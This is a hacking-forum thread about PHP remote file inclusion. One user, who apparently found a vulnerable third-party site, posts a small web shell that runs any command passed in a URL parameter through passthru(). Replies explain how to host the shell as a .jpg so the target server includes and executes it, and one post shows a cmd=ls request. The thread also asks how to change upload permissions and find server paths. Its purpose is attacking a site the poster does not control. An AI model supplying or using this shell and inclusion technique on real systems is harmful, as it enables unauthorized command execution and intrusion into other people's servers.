Welcome to HBH! If you had an account on hellboundhacker.org you will need to reset your password using the Lost Password system before you will be able to login.

Php injections


ghost's Avatar
0 0

I found a site which is vulnerable for Php injections atack. If I use script like:

$cmd = $_GET['command'];
echo $cmd;
if ($cmd){
passthru($cmd);
}
?>```
and enter into ls command I get list from my server not atack server. Any solution. Also I am interested in uploading files, how can I change permission for upload and how can I get path? (for permission I could chmod from uper script but - same problem. To get path I could excecute include error (same problem - it shows error on my server) or use getcwd().
Is there any possible solution, except overwritting one of server files with upper script?
Tnx

ghost's Avatar
0 0

It was my mistake, file was in php format (it had to be in jpg)


ghost's Avatar
0 0

Yup. In this case, the libjpeg parser and apache handlers have no effect on it, as the file is being included as raw text. By including a PHP type with normal mime types, your telling the server to do a GET on it, and when the mime types are set correctly, it executes the script and then draws its output to your file, and thus echos it.

You can give it any filetype you want, as long as it isn't parsed by either server as types like ASP, PHP, HTML, or anything with a mimetype that would give it an effect on the originating server.

I should put up my PHP injections article from Rohitab and HTS on here soon. I'll do that later.


ghost's Avatar
0 0

I read an article on that. It doesn't work for me…it says it contains errors..any suggestions/


ghost's Avatar
0 0

What error do you have??


ghost's Avatar
0 0

The image “http://www.mysitecom/cmd.jpg?cmd=ls?" cannot be displayed, because it contains errors.